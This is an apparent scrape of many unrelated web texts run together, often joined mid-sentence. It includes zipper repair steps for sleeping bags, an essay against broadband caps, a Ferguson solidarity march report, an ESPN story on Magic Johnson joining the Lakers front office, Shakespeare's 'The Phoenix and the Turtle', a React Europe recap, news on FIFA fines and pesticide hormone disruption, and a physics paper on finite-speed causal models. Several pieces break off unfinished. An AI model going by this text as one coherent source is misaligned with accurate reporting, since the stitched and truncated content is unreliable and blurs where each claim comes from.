Step 8- Replace Sliders
You will need your pliers and a zipper stop (size 5 or 8) to replace your sliders. Make sure you replace both siders in the correct order- the slider with one toggle usually goes on the bottom, and the one that has 2 toggles or is reversible goes on the top. Rethread the sliders and add the zipper stop to the top to prevent it from falling off. Zipper stops are available at the following sites, or check your local sewing/craft retailer.
Wawak
Outdoor Wilderness Fabrics
Step 9- Proper Storage
Store your sleeping bag in a loss, roomy storage sack when it isn’t being used. Avoid storing in the compression sack for longer than needed- these are great for taking a sleeping bag on a trip, but over the long term, they can compress the down and the bag won’t be as fluffy and warm when you are ready to use it.
Questions? Call us at 206-523-8135 or email repair@rainypass.com.
You Might Also Be Interested In;
Sticky Situations- How to Deal With Stains on Your Gear
Fun & Wacky Sleeping Bags
Preventing Zipper CorrosionOne Nov. 15, 2013 we published an updated version of this chart. It can be found here.
Broadband caps are spreading across the U.S., and even if Comcast (s cmsca) did recently raise its cap of four years from 250 GB a month to 300 GB, the growth of usage based broadband is a negative and insidious trend that could hurt our ability to innovate. So I’ve documented which ISPs have caps, and how they have structured them in the chart below, as a way to help people understand who is capping their service and why. The chart contains the top ISPs, and covers more than 80 percent of actual subscribers.
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What we talk about when we talk about caps.
The rise in caps has let ISPs influence the internet in subtle ways — most of which seem harmful to innovation. The first is to take away the idea that wireline broadband is an unlimited service, despite the ability of smaller ISPs to build out networks that don’t come equipped with caps. As you can see from the chart below, most of the ISPs are implementing overage charges associated with their caps. This isn’t really about managing their networks for congestion. If it were, they’d implement a different type of pricing model that cost users more to surf at peak times. No, this is about protecting their entrenched TV businesses as well as keeping the price for service high, despite the decreasing costs to send traffic over the network.
It’s also about grabbing more of the profits from the growth in internet services such as Netflix (s nflx) and Google (s goog), although caps take out those frustrations on users as opposed to the over-the-top providers. Instead of providing faster speeds for users and encouraging the growth of services that would require users to upgrade to those speeds, ISPs have taken their control of the last mile and are charging for bytes. So instead of paying more for better service, customers will pay more for what they use. This is a model that works for certain industries (think gasoline and electricity) but when it comes to encouraging more usage and innovation on the internet, the utility model seems short-sighted. Other ISPs may be thinking this same way.
For example, what if Intel had told game developers or Microsoft not to write software that would stress its chips — or penalized programmers for every megahertz of performance they used over a certain threshold? We’d end up with crappy software running on slower machines. Instead Intel encouraged people to write software for its chips and invested billions in making them faster so people would upgrade. Along the way it opened up market after market for the PC. Utility industries aren’t typically hotbeds of innovation.
The Federal Communications Commission, which is charged with tracking the spread and quality of U.S. broadband, has so far been quiet on this issue, not even collecting data to track how the shift to capped broadband has affected users, much less the industry. That may be changing. But it’s time that we ask if we want the internet to look like the utility or a source of continued innovation.The people of Ferguson, Missouri have endured a long battle over the last few days. Tensions that have been building for many years have erupted following the fatal shooting of 18-year-old Michael Brown by police just over a week ago.
Michael, who was unarmed and had no criminal background, was shot “at least six times” including “twice in the head,” by officer Darren Wilson, as presented in a recent independent autopsy report.
While most mainstream media outlets initially focused on daily “rioting” and “looting” following the shooting, residents immediately shared their own accounts of militarized police assaulting their community. Some videos even depicted police officers shooting teargas grenades at residents while they stood outside their homes shouting the newly adopted chant, “hands up, don’t shoot!” and “you go home!”
Since then, people throughout the country in major cities such as Oakland, New York, Portland, Nashville, Los Angeles and Chicago have taken to the streets, demonstrating solidarity with the people of Ferguson.
Last Friday, Santa Ana community members and supporters gathered for a “Vigil Against Police Brutality” that served as a “call to grieve” the recent events and a “call to action.” The event took place near the E Fourth St and French St intersection where dozens of community members armed themselves with posters, banners, and words to spread amongst the community.
After sharing words and lighting candles, the vigil then turned into a march onto Fourth Street through the downtown district. Participants chanted “presente!,” or “present,” after speakers recited the names of the numerous fatal police shooting victims of Santa Ana and neighboring cities. Most consumers of the “East End” block of Downtown Santa Ana met demonstrators with an attitude of confusion and discomfort, yet, passers-by chanted along with the group and several youth alternatively joined the march’s cause.
The march continued to build energy as it routed back to the French Street plaza where the vigil began. Santa Ana police vehicles arrived at the N Broadway and E 3rd St intersection attempting to disband the demonstration, but the group held its position as it continued and crossed through the Yost theater entrance area.
Just as the march was arriving at its destination, George Mendoza, owner of American Barbershop, who was standing at the opposite side of Fourth St, crossed towards the group and confronted the march’s anti-gentrification chants.
”How many taxes do you guys pay?” challenged Mendoza, grinning at the demonstrator’s arguments, “Why don’t you pay some taxes, I pay plenty of taxes here! Open a business and pay taxes like I do.”
Mendoza |
2016. The phylogenetic affinities of the extinct glyptodonts. Current Biology, vol. 26, no. 4, pp. R155-R156; doi: 10.1016/j.cub.2016.01.039Byron Scott believes appointing Magic Johnson as president of basketball operations shows the Lakers are hungry for another championship. (2:28)
LOS ANGELES -- In a move that drastically reshapes the leadership structure of one of the NBA's most illustrious franchises two days before the league's trade deadline, the Lakers have named Hall of Famer Magic Johnson their new president of basketball operations while firing longtime general manager Mitch Kupchak and removing Jim Buss as executive vice president of basketball operations.
Lakers: Seasons Missing Playoffs,
Since 1960 The Lakers, with the third-worst record in the NBA and 14th in the West, are in serious danger of missing the playoffs for a fourth straight season. Before this current drought, the Lakers missed the postseason just four times since moving to Los Angeles in 1960. First 53 seasons 4 Last 4 seasons 4<< >> Includes 2016-17 (less than 1% chance
per BPI)
-- ESPN Stats & Information
"Today I took a series of actions I believe will return the Lakers to the heights Dr. Jerry Buss demanded and our fans rightly expect," Lakers president and co-owner Jeanie Buss, Jim's sister, said in a statement Tuesday. "Effective immediately, Earvin Johnson will be in charge of all basketball operations and will report directly to me. Our search for a new general manager to work with Earvin and coach Luke Walton is well underway and we hope to announce a new general manager in short order. Together, Earvin, Luke and our new general manager will establish the foundation for the next generation of Los Angeles Lakers greatness."
Sports agent Rob Pelinka has an agreement in principle to become the next general manager of the Lakers, sources told ESPN. Pelinka will divest himself from his clients at Landmark Sports agency, which he owns along with Kobe Bryant.
One of those clients, Eric Gordon of the Rockets, said the agent has told him and two other clients, fellow Houston players Trevor Ariza and James Harden, that Pelinka will be the next general manager of the Lakers.
"We're kinda surprised," Gordon said. "It kinda happened quickly."
The blueprint for the agent-to-front-office transition was established by current Golden State Warriors general manager Bob Myers.
At 19-39, the rebuilding Lakers have the NBA's third-worst record and the second-worst record in the Western Conference. They're coming off a franchise-worst 17-65 season and have missed the playoffs for three straight seasons, the longest postseason drought in franchise history.
Johnson made his first major trade in his new role on Tuesday night, acquiring Rockets veteran forward Corey Brewer and Houston's 2017 first-round pick in exchange for veteran guard Lou Williams, according to multiple ESPN sources.
Johnson was drafted by the Lakers in 1979, won five titles with the franchise during the 1980s and recently rejoined the Lakers in an advisory role. Johnson has held positions with the Lakers in the past, including honorary vice president, which he resigned from in June. He has also previously owned shares in the team, which he sold to Dr. Patrick Soon Shiong in 2011.
"It's a dream come true to return to the Lakers as president of basketball operations working closely with Jeanie Buss and the Buss family," Johnson said in a statement.
"Since 1979, I've been a part of the Laker Nation and I'm passionate about this organization. I will do everything I can to build a winning culture on and off the court. We have a great coach in Luke Walton and good young players. We will work tirelessly to return our Los Angeles Lakers to NBA champions."
Kupchak spent 30 seasons with the Lakers, starting as a player, and was in his 17th as the team's general manager.
Johnson confirmed to Spectrum SportsNet later Tuesday that the search for a new general manager has already begun.
"It's not about quick," he said. "It's about finding the right person who understands the new CBA because this is really important. This is a new league and a new NBA, and the CBA has made it such."
He said he's looking for somebody who already has league relationships.
"That's important that they have relationships with teams, players, agents and with the league," he said.
Jim Buss spent 19 seasons in the Lakers' front office and was in his 12th as executive vice president of basketball operations.
In 2014, Jim Buss publicly announced in the Los Angeles Times that he would step down within three years if the team hadn't made a deep playoff run by then. Both Buss siblings took on more responsibilities after the death of their father in February 2013.
"Jim loves the Lakers," Jeanie Buss said in the statement. "Although he will no longer be responsible for basketball personnel decisions, he is an owner of this team and we share the same goal: returning the Lakers to the level of greatness our father demanded. Our fans deserve no less."
Magic Johnson has held several positions with the Los Angeles Lakers since he retired as one of the franchise's most celebrated players. Andrew D. Bernstein/NBAE via Getty Images
In a meeting later with Spectrum SportsNet, Jeanie Buss described what it was like to fire her brother from his position.
"This was a very difficult decision. It was probably so hard for me to make that I probably waited too long," she said. "For that, I apologize to Laker fans."
The decision to fire her brother was a very long, involved process that Jeanie Buss has been leading, sources close to the situation said. It was her decision, not Magic's, to fire Kupchak, Jim Buss and longtime Lakers publicist John Black.
Jim Buss had hired lawyers to represent his interests, sources said, but the provisions governing the family trust that owns and operates the Lakers very clearly gave Jeanie Buss the authority to make these moves.
Jeanie Buss said this new role for Johnson really began coming together in earnest in January, when he reached out to her after she and longtime fiancé Phil Jackson split.
"He is like family with me and he was worried about me," she said, adding that she and Johnson had dinner soon after.
"That's where it seemed like the connection was right and [we] started talking and brought him in as an adviser," Buss said. "I think everything has kind of opened up the right way and the timing was right and I couldn't be happier and more proud. I think Dr. Buss would really be smiling right now seeing us together."
Johnson and Jeanie Buss were asked how long it will take to turn the franchise around.
"It's going to take us a while," Buss said. "I don't want to fool the fans. We're going to build this thing the right way."
Johnson added: "I can't turn it around tomorrow. Or I really would be Magic, right?"
One thing both said was that they are not trying to bring back the Showtime Lakers of Johnson's era.
"We're not trying to turn back the clock," Buss said. "The Lakers have figured out how to win in every era, and certainly the game has evolved and the rules have changed, and we know in our discussions about evolving with the game and looking at what the modern NBA is all about. This isn't about going to the past and recreating Showtime. You can't recreate Showtime.... This is about the future and about finding the right team for the style that Luke Walton wants to play."
Johnson said he will fly on the team's charter plane to Oklahoma City for the Lakers' game Friday.
"I want to see how they practice, how they prepare for a game," he said. "That's really important. It's one thing to see it on TV, but it's another thing when you're right there in person."
He's excited to get started.
"If you could draw up your dream job, what would it be? This would be it," he said.
Johnson gives up his role on ESPN's NBA Countdown to take the Lakers job.
"Magic informed us of his decision to accept this opportunity with the Lakers and thus end his current role on NBA Countdown in order to focus on his newfound responsibilities," ESPN said in a statement. "We're grateful for the terrific contributions Magic has made to our NBA coverage and we wish him all the best. We look forward to documenting the next step in Magic's unprecedented basketball journey."
The Lakers also announced that they have parted ways with Black, the longtime publicist who was with the team for 27 seasons. Lakers chief operating officer Tim Harris will immediately search for Black's replacement, the Lakers noted in their statement.
ESPN's Marc Stein and Calvin Watkins contributed to this reportLet the bird of loudest lay
On the sole Arabian tree
Herald sad and trumpet be,
To whose sound chaste wings obey.
But thou shrieking harbinger,
Foul precurrer of the fiend,
Augur of the fever's end,
To this troop come thou not near.
From this session interdict
Every fowl of tyrant wing,
Save the eagle, feather'd king;
Keep the obsequy so strict.
Let the priest in surplice white,
That defunctive music can,
Be the death-divining swan,
Lest the requiem lack his right.
And thou treble-dated crow,
That thy sable gender mak'st
With the breath thou giv'st and tak'st,
'Mongst our mourners shalt thou go.
Here the anthem doth commence:
Love and constancy is dead;
Phoenix and the Turtle fled
In a mutual flame from hence.
So they lov'd, as love in twain
Had the essence but in one;
Two distincts, division none:
Number there in love was slain.
Hearts remote, yet not asunder;
Distance and no space was seen
'Twixt this Turtle and his queen:
But in them it were a wonder.
So between them love did shine
That the Turtle saw his right
Flaming in the Phoenix' sight:
Either was the other's mine.
Property was thus appalled
That the self was not the same;
Single nature's double name
Neither two nor one was called.
Reason, in itself confounded,
Saw division grow together,
To themselves yet either neither,
Simple were so well compounded;
That it cried, "How true a twain
Seemeth this concordant one!
Love has reason, reason none,
If what parts can so remain."
Whereupon it made this threne
To the Phoenix and the Dove,
Co-supremes and stars of love,
As chorus to their tragic scene:
threnos
Beauty, truth, and rarity,
Grace in all simplicity,
Here enclos'd, in cinders lie.
Death is now the Phoenix' nest,
And the Turtle's loyal breast
To eternity doth rest,
Leaving no posterity:
'Twas not their infirmity,
It was married chastity.
Truth may seem but cannot be;
Beauty brag but 'tis not she;
Truth and beauty buried be.
To this urn let those repair
That are either true or fair;
For these dead birds sigh a prayer.A few of us at MojoTech recently attended the 2016 React Europe conference in Paris, France. It was a great opportunity to hear from and interact with developers all around the world who are building things with React. Let me share with you some of my favorite highlights from the conference.
TL;DR? Here's our React Europe YouTube playlist for you.
Pre-conference workshop:
React/Redux Workshop with Dan Abramov and Andrew Clark
The creators of Redux hosted a two-day workshop before the conference. They had us build redux from scratch in order to see how its API works, and they also covered some best practices for building apps with React and Redux. Best of all, Dan surprised us at the conference with a free video series covering most of the content of the workshop, as well as some of the stuff we didn't get to! Check it out at egghead.io/redux-2.
Conference talks:
Christopher Chedeau is very involved with open source work at Facebook, with projects like React, React Native, mention-bot, and others. He talks about the typical process of open sourcing a library by stripping dependencies, making a website, and writing a blog post. But how do you get users to notice and use your project?
Engage with the community on GitHub, StackOverflow, Discord, etc. The platform doesn't matter, just pick a couple!
Ask your users, What did you struggle with?
People often don't express criticisms, so ask them directly!
Also ask, What cool stuff are you building?
Make the community feel active and promote their projects by writing a community-roundup post!
We learn that successfully open sourcing a project takes more work than just implementing it — promoting it and growing the community is just as valuable.
While this talk wasn't about React in particular, it was one of my favorites at the conference. At a high-level Cheng Lou discusses the costs and benefits of abstraction, and this can be applied to all aspects of software development. Creating an abstraction incurs some kind of cost, but gives you more power. In terms of frameworks and libraries, a framework gives you a lot of power to cover many different use cases (at a cost), while libraries can focus on select use cases.
This talk takes a look at the cost of abstraction with popular tools like React, Angular, Ember, Grunt, Gulp, Webpack, and others.
Max and Nik announced an awesome new tool for developing React components, called Carte Blanche. According to the docs, it's "an isolated development space with integrated fuzz testing for your components. See them individually, explore them in different states and quickly and confidently develop them."
With just a few lines of code, Carte Blanche hooks into your build system so there is no need to write and maintain custom component variations (as you would with something like Storybook). You can also quickly randomize component prop values to help find edge cases.
This talk changes the perspective of developing UIs by introducing a visual programming environment in the browser using open source tools like React, Flow, Redux, ImmutableJS, Nuclide, react-dnd, react-art, and others. This experimental tool from Facebook allows you to prototype UI components by chaining together different transformations (similar to Yahoo! Pipes, RIP).
In his example, he builds a real-time bar chart by fetching data from an API, extracting useful information, mapping it to x/y values, and rendering it to a chart, without writing more than a few lines of code!
Lightning Talks:
Ken Wheeler briefly showed off Victory, a cross-platform charting library for React and React-Native. I had originally heard of Victory at another development conference in Boston, and we have actually used the library for some of our projects at MojoTech. The library is great for composing charts declaratively, and their interactive docs make it easy to get started.
Preethi shows us how she switched jobs to become a Software Engineer in a short period of time, through passion, dedication, and support. It takes passion to make this transition, and this can come from an interest in building stuff, solving hard problems, expressing creativity, etc. It's also important to persevere through the hurdles that are bound to come up, and to have some kind of support system to help you along the way.
She explains how experienced software engineers can offer a lot to newcomers, through mentoring, creating "Beginner Friendly" issues, or just talking about their experiences day-to-day.
Want more?
There were way too many cool talks to cover, so check out the ReactEurope YouTube channel for the full program. And as a bonus, a Q & A with core team members is also available.The highest prevalence of obesity was studied in Punjab, Delhi, Jaipur and Surat.
A recent study has found out that the prevalence of obesity was lower in south India compared to the northern states. The study was conducted by Madras Diabetes Research Foundation and a WHO-commissioned-study. A was survey conducted in 16 states between 1981 to 2013.
According to the study, the obesity rate was 20.7 percent among children in the northern states and it was 15.1 percent among the children in southern states, reports The Times of India.
The difference could be due to the difference in lifestyle, told Viswanathan Mohan to The Times of India. “Although they consume more rotis than rice, they are often rich in ghee, which adds more calories and fat,“ said Dr Mohan, as reported in TOI. This added to the junk food is turning hazardous for the children, he said.
The detailed impact of the obesity is yet to be studied by the researchers.
The highest prevalence of obesity was studied in Punjab, Delhi, Jaipur and Surat.
A recently published study in the Indian Journal of Medical Research, there has been an increase in the obesity prevalence from 16.3% to 19.3 percent in 2005-2010.
According to TOI, childhood obesity, experts say, is a forerunner of metabolic syndrome, poor physical health, mental disorders, respiratory problems and glucose intolerance.
The rate of increase in obesity was still lesser in lower social economic group but it is still increasing. It has gone up from 4% to 8% while the obesity rate of higher income groups is 18 percent.GENEVA (AP) — FIFA fined the German soccer federation 32,000 Swiss francs ($33,000) on Monday because fans chanted Nazi slogans at a World Cup qualifying game in the Czech Republic.
The range of “improper conduct” charges against Germany included fans encroaching on the field and setting off fireworks at the game in Prague, FIFA said.
German officials said the offensive fans did not buy tickets through official channels. Germany’s next away World Cup qualifier is on Thursday in Northern Ireland.
About 200 German supporters chanted slogans during their team’s 2-1 win and verbally abused one of the scorers, Timo Werner.
FIFA also fined the Czech federation 5,000 Swiss francs ($5,150) for crowd disorder.
FIFA’s attempts to crack down on fans chanting gay slurs saw seven national federations fined for incidents.
Argentina was ordered to pay 65,000 Swiss francs ($67,000), Panama 50,000 Swiss francs ($51,500), and Hungary 20,000 Swiss francs ($20,600). Other fines were for Chile (35,000 Swiss francs; $36,000); Ecuador (20,000 Swiss francs; $20,600), Brazil (10,000 Swiss francs; $10,300) and Mexico (10,000 Swiss francs; $10,300).
Uruguay’s federation was fined 25,000 Swiss francs ($25,750) for “insulting chants” by fans at a home qualifier against Argentina.
FIFA imposed fines of 45,000 Swiss francs ($46,400) on the soccer bodies of Iran and Ukraine.
Iran was sanctioned for incidents at a home game against Syria, including a “pre-match ceremony with religious chants” and improper conduct by fans.
Ukrainian fans were guilty of discrimination with chants and banners at a home game against Turkey.
European federations fined for discriminatory behavior by fans included Romania and Montenegro (each 25,000 Swiss francs; $25,750) and Serbia (20,000 Swiss francs; $20,600). Romania is also banned for one World Cup qualifier from using the National Stadium in Bucharest.
Nigeria was fined 30,000 Swiss francs ($31,000) for fan disorder at a 4-0 home win over Cameroon.
A ball boy being sent off counted in a charge against Honduras for failure in match organization against the United States, and resulted in a 5,000 Swiss franc ($5,150) fine.
Gabon was ordered to forfeit a qualifying game against Ivory Coast as a 3-0 loss. However, Ivory Coast — which leads Group C in Africa — already won the Sept. 2 game 3-0 in Libreville. Gabon was fined 6,000 Swiss francs ($6,200).Many agricultural pesticides – including some previously untested and commonly found in food – disrupt male hormones, according to new tests conducted by British scientists.
The scientists strongly recommended that all pesticides in use today be screened to check if they block testosterone and other androgens, the hormones critical to a healthy reproductive system for men and boys.
“Our results indicate that systematic testing for anti-androgenic activity of currently used pesticides is urgently required,” wrote the scientists from University of London’s Centre for Toxicology, led by Professor Andreas Kortenkamp.
Thirty out of 37 widely used pesticides tested by the group blocked or mimicked male hormones. Sixteen of the 30 had no known hormonal activity until now, while there was some previous evidence for the other 14, according to the study, published online last Thursday in the scientific journal Environmental Health Perspectives.
Most of the newly discovered hormone disruptors are fungicides applied to fruit and vegetable crops, including strawberries and lettuce. Traces of the chemicals remain in foods.
“This study indicates that, not surprisingly, there are many other endocrine disruptors that we have not yet identified or know very little about,” said Emily Barrett, a University of Rochester assistant professor in obstetrics and gynecology who was not involved in the study.
“This underlines the glaring problem that many of the chemicals that are most widely used today, including pesticides, are simply not adequately tested and may have serious long-term impacts on health and development,” said Barrett, who studies how environmental chemicals affect human reproduction.
The findings come as the U.S. Environmental Protection Agency faces opposition from the pesticide industry after expanding its Endocrine Disruptor Screening Program, which requires testing of about 200 chemicals found in food and drinking water to see if they interfere with estrogen, androgens or thyroid hormones.
None of the 16 pesticides with the newly discovered hormonal activity is included in the EPA’s program, which means they are not currently screened and there are no plans to do so.
The EPA’s program has been slow to implement, largely due to a controversy over testing methods. Environmental groups criticize the EPA, which was granted the authority by Congress in 1996, for taking so long to order manufacturers to test only a small group of chemicals. But chemical industry officials say that the tests cost up to $1 million per chemical and the techniques have not been fully validated. They also stress that positive results don't necessarily mean that the pesticides are harming human reproduction.
The British researchers screened the chemicals using in-vitro assays, which use human cells to check whether the pesticides activate or inhibit hormone receptors in cells that turn genes on and off. They are a widely accepted lab techniques. Scientists, however, are uncertain what actually happens in the human body at the concentrations of chemicals that people encounter in fruits and vegetables.
Fetuses and infants may be particularly at risk when exposed in the womb or through breast milk because the hormones control masculinization of the reproductive tract.
Some research has linked pesticides to abnormal genitals in baby boys, such as cryptorchidism and hypospadias, and decreased sperm counts in men. Male fertility is thought to be declining in many countries, and testicular cancer is increasing. Some scientists have dubbed this compilation of male disorders “testicular dysgenesis syndrome,” and suggested that hormone-disrupting environmental contaminants play a role.
R. Thomas Zoeller, chair of the biology department at the University of Massachussetts, called it "a very important paper."
"It is telling us that the pesticides most prevalent in the human population have effects on the androgen receptor," said Zoeller, who directs the university's Laboratory of Molecular, Cellular and Developmental Endocrinology.
"Considering all the evidence that human male reproduction is exhibiting troubling secular trends (sperm count and quality, hypospadias, cryptorchidism, testis cancer), this is highly troubling," he said.
Funded by the European Commission, the University of London scientists selected the pesticides to test by identifying those found most often in European fruits and vegetables. They are approved for use in many countries, including the United States.
The researchers noted “a clear disparity” between today's most widely used pesticides and the current knowledge of their risks, “with the majority of the published literature focused on pesticides that are no longer registered for use in developed countries.”
Of the tested compounds, the most potent in terms of blocking androgens was the insecticide fenitrothion, an organophosphate insecticide used on orchard fruits, grains, rice, vegetables and other crops.
Others with hormonal activity include fludioxonil, fenhexamid, dimethomorph and imazalil, which are all fungicides. Fungicides are often applied close to harvest, so they are frequently found as residue in food. Some are new compounds which have been used for only a few years.
Fungicides “are typically applied as mixtures in order to increase effectiveness and prevent development of resistant strains and therefore, human exposure to mixtures of these in vitro anti-androgens may be considerable,” wrote Kortenkamp and the other study authors, Frances Orton, Erika Rosivatz and Martin Scholze.
For six of the pesticides that showed hormonal activity for the first time, the authors said they “strongly recommend” the next round of testing, using lab animals. “Due to estimated anti-androgenic potency, current use, estimated exposure, and lack of previous data, we strongly recommend that dimethomorph, fludioxonil, fenhexamid, imazalil, ortho-phenylphenol and pirimiphos-methyl be tested for anti-androgenic effects in vivo.”
For the first four pesticides, they called it “a matter of urgency.” They are used on strawberries, lettuce, grapes and other fruits and vegetables.
Mary Emma Young of CropLife America, which represents the pesticide industry, said the group is reviewing the new study and could not yet comment on it. She added that "we continue to work with EPA and others to understand the potential for a chemical to interact with the endocrine system as well as the potential consequences of that interaction on human health and the environment."
In 2009, the EPA ordered industry to use the in-vitro assays to screen 67 pesticides for their potential effect on hormones. The deadline is this October – 15 years after Congress granted the agency the authority to screen for such effects – but an extension is likely.
Last November, the EPA added another 134 pesticides and industrial chemicals found in water supplies. The testing is the first step toward including hormone data in the regulation of pesticides and industrial chemicals.
Pesticide companies, in a January letter to the EPA, asked the agency to refrain from listing more chemicals for testing "until the agency has had an opportunity to evaluate the performance" of the techniques used to test the initial 67 pesticides.
Sheela Sathyanarayana, a University of Washington pediatrician who studies effects of environmental chemicals on male development, said the new study provides strong evidence that the testing should be expanded to more chemicals.
“There are many chemicals that may possess endocrine disrupting properties and the only way to know is to screen,” she said.
“I definitely think all pesticides need endocrine disruption screening or a strong justification for not doing so. I’m sure most scientists would agree,” she said.Correlations cry out for explanation1. Our intuitive understanding of correlations between events relies on the concept of causal influences, either relating directly the events, such as the position of the moon causing the tides, or involving a past common cause, such as seeing a flash and hearing the thunder when a lightning strikes. Importantly, we expect the chain of causal relations to satisfy a principle of continuity, that is, the idea that the physical carriers of causal influences propagate continuously through space at a finite speed. Given the theory of relativity, we expect moreover the speed of causal influences to be bounded by the speed of light. The correlations observed in certain quantum experiments call into question this viewpoint.
When measurements are performed on two entangled quantum particles separated far apart from each other, such as in an Einstein–Podolsky–Rosen5 type experiment, the measurement results of one particle are found to be correlated to that of the other particle. Bell showed that if these correlated values were due to past common causes, then they would necessarily satisfy a series of inequalities1. However, theory predicts and experiments confirm that these inequalities are violated2, thus excluding any past common cause type of explanation. Moreover, as the measurement events can be space-like separated6,7,8, any influence-type explanation must involve superluminal influences9, in contradiction with the intuitive notion of relativistic causality10.
This non-local connection between distant particles represents a source of tension between quantum theory and relativity10,11; however, it does not put the two theories in direct conflict owing to the no-signalling property of quantum correlations. This property guarantees that spatially separated observers in an Einstein, Podolsky and Rosen-type experiment cannot use their measurement choices and outcomes to communicate with one another. The complex relationship between quantum non-locality and relativity has been the subject of intense scrutiny9,10,11,12, but less attention has been paid to the fact that quantum non-locality seems to invalidate not only the intuitive notion of relativistic causality, but more fundamentally the idea that correlations can be explained by causal influences propagating continuously in space. Indeed, according to the standard textbook description, quantum correlations between distant particles, and hence the violation of Bell inequalities, can in principle be achieved instantaneously and independently of the spatial separation between the particles. Any explanation of quantum correlations using hypothetical influences would therefore require that they propagate at speed, that is jump instantaneously from one location to another as in real actions at a distance.
Is such an infinite speed a necessary ingredient to account for the correlations observed in nature or could a finite speed v, recovering a principle of continuity, be sufficient? In particular, could an underlying theory with a limit v on the speed of causal influences reproduce correctly the quantum predictions, at least when distant quantum systems are within the range of finite-speed causal influences13? Obviously, any such theory would cease to violate Bell inequalities beyond some range determined by the finite speed v. At first, this hypothesis seems untestable. Indeed, provided that v is large enough, any model based on finite-speed (hidden) influences can always be made compatible with all experimental results observed so far. It thus seems as if the best that one could hope for is to put lower bounds on v by testing the violation of Bell inequalities with systems that are further apart and better synchronized3,4.
Here we show that there is a fundamental reason why influences propagating at a finite speed v may not account for the non-locality of quantum theory: all such models give, for any v>c, predictions that can be used for faster-than-light communication. Importantly, our argument does not require the observation of non-local correlations between simultaneous or arbitrarily distant events and is thus amenable to experimental tests. Our results answer a long-standing question on the plausibility of finite-speed models first raised in refs 14, 15. Progress on this problem was recently made in ref. 16, where a conclusion with a similar flavour was obtained, but not for quantum theory. Technically, our approach is independent and different from the one in ref. 16, which relies on transitivity of non-locality, a concept that has not yet found any application in quantum theory.
We derive our results assuming that the speed of causal influences v is defined with respect to a privileged reference frame (or a particular foliation of spacetime into space-like hyperplanes). It should be stressed that although the assumption of a privileged frame is not in line with the spirit of relativity, there is also no empirical evidence implying its absence. In fact, even in a perfectly Lorentz-invariant theory, there can be natural preferred frames owing to the non-Lorentz-invariant distribution of matter—a well-known example of this is the reference frame in which the cosmic microwave background radiation seems to be isotropic (see, for example, ref. 17). Moreover, note that there do exist physical theories that assume a privileged reference frame and are compatible with all observed data, such as Bohmian mechanics18,19, the collapse theory of Ghirardi, Rimini and Weber20 and its relativistic generalization21. Although both of these theories reproduce all tested (non-relativistic) quantum predictions, they violate the principle of continuity mentioned above (otherwise they would not be compatible with no-signalling as our result implies).
The models that we consider, which we call v-causal models, associate with each spacetime point K a past and a future v-cone in the privileged frame, generalizing the notion of past and future light cones, see Fig. 1. An event at K 1 can have a causal influence on a point K 2 >K 1 located in its future v-cone and can be influenced by a point K 3 <K 1 in its past v-cone. However, there cannot be any direct causal relation between two events K 1 ∼K 4 that are outside each other’s v-cones. The causal structure that we consider here thus corresponds to Bell’s notion of local causality9,22 but with the speed of light c replaced by the speed v>c. Operationally, it is useful to think of the correlations generated by v-causal models as those that can be obtained by classical observers using shared randomness together with communication at speed v>c.
Figure 1: Spacetime diagram in the privileged reference frame. In the (shaded) light cone delimited by solid lines, causal influences propagate up to the speed of light c, whereas in the v-cone (hatched region), causal influences travel up to the speed v. An event K 1 can causally influence a space-like separated event K 2 contained in its future v-cone and can be influenced by an event K 3 that lies in its past v-cone, but it cannot directly influence or be influenced by event K 4 outside its v-cone. Full size image
According to the textbook description of quantum theory, local measurements on composite systems prepared in a given quantum state ρ yield the same joint probabilities regardless of the spacetime ordering of the measurements. However, a v-causal model will generally not be able to reproduce these quantum correlations when the spacetime ordering does not allow influences to be exchanged between certain pairs of events. In particular, the correlations between A and B will never violate Bell inequalities when A∼B (see Fig. 2). A possible programme to rule out v-causal models thus consists of experimentally observing Bell violations between pairs of measurement events as simultaneous as possible in the privileged reference frame3. As pointed out earlier, however, this programme can at best lower bound the speed v of the causal influences.
Figure 2: Predictions of a v-causal model in a bipartite Bell experiment. We denote by P(ab|xy) the probability associated with A and B observing respectively the outcomes a and b when their measurement is labelled by x and y. In quantum theory, such probabilities are given by, where ρ is the quantum state of A and B and M a x, M b y their respective measurement operators, and are independent of the spacetime ordering of the measurements. In contrast, in a v-causal model, the observed probabilities will depend on the spacetime ordering between A and B, as we now specify. a, A is in the past v-cone of B. Let the variable λ, with probability distribution q(λ), denote the joint state of the particles, or more generally a complete specification of any initial information in the shaded spacetime region that is relevant to make predictions about a and b (strictly, only the shaded region that is in the past v-cone of A can have a causal influence on A; however, all of our arguments still follow through even if we consider spacetime regions of the kind depicted). In this situation we can write, where we used Bayes’ rule in the second equality and the assumption that the measurement setting y is a free variable, that is, uncorrelated to a,x,λ, in the last equality. Note that there always exists a trivial v-causal model that reproduces the quantum correlations in the case A<B (or B<A) as we can write P Q (ab|xy) = P Q (a|x)P Q (b|y,ax) by the no-signalling property of quantum correlations (this easily generalizes to the multipartite case, see Supplementary Information SA). b, A and B are outside each other’s v-cones. As above, the variable λ represents a complete (as far as predictions about a and b are concerned) specification of the shaded spacetime region. Note that this region screens-off the intersection of the past v-cones of A and B, in the sense that given the specification of λ in the shaded region, specification of any other information in the past v-cones of A and B becomes redundant. It thus follows that P(a|x,byλ) = P(a|x,λ) because any information about B is irrelevant to make predictions about a once λ is specified (see ref. 9 for a more detailed discussion of this condition). Similarly, P(b|y,axλ) = P(b|y,λ). We can therefore write. Formally, the correlations are thus local and satisfy all Bell inequalities. In particular, the model cannot reproduce arbitrary quantum correlations in this situation. Full size image
More fundamentally, one could ask whether it is even possible to conceive a v-causal model that reproduces the quantum correlations in the favourable situation where all successive measurement events are causally related by v-speed signals, that is, when any given measured system can freely influence all subsequent ones? In the bipartite case, this is always possible (see Fig. 2 and Supplementary Information SA), and thus the only possibility is to lower bound v experimentally. In the four-partite case, however, we show below that any v-causal model of this sort necessarily leads to the possibility of superluminal communication, independently of the (finite) value of v. Importantly, the argument does not rely directly on the observation of non-local correlations between simultaneous events.
Let us stress that v-causal models evidently allow for superluminal influences at the hidden, microscopic level, provided that they occur at most at speed v. Such superluminal influences, however, need not a priori be manifested in the form of signalling at the macroscopic level, that is at the level of the experimenters who have no access to the underlying mechanism and hidden variables λ of the model, but can observe only the average probability P(ab|xy) (for example, by rotating polarizers along different directions x,y and counting detector clicks a,b). It is this later sort of superluminal communication that we show to be an intrinsic feature of any v-causal model reproducing quantum correlations.
A sufficient condition for correlations P not to be explo |
arty, 19, of Reading, argued with a woman about cutting in line at an entrance gate and stole her Bengals hat.
